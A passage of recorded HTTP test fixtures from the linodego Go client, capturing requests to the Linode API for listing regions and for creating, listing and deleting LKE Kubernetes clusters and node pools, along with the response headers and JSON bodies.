no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/267609/control_plane_acl method: GET response: body: '{"acl": {"enabled": false, "addresses": null, "revision-id": "110c82df2d08416e94472e6eb340b06f"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "97" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/267609 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:41:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKEClusters_List.yaml000066400000000000000000000351531474652371000314520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-list","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7946, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-list", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters?page=1 method: GET response: body: '{"data": [{"id": 7946, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-list", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7946 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePoolNode_Delete.yaml000066400000000000000000000511631474652371000324610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 8208, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "239" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8208/pools method: POST response: body: '{"id": 10169, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10169-4253e0cf0000", "instance_id": null, "status": "not_ready"}, {"id": "10169-505f3e6b0000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], 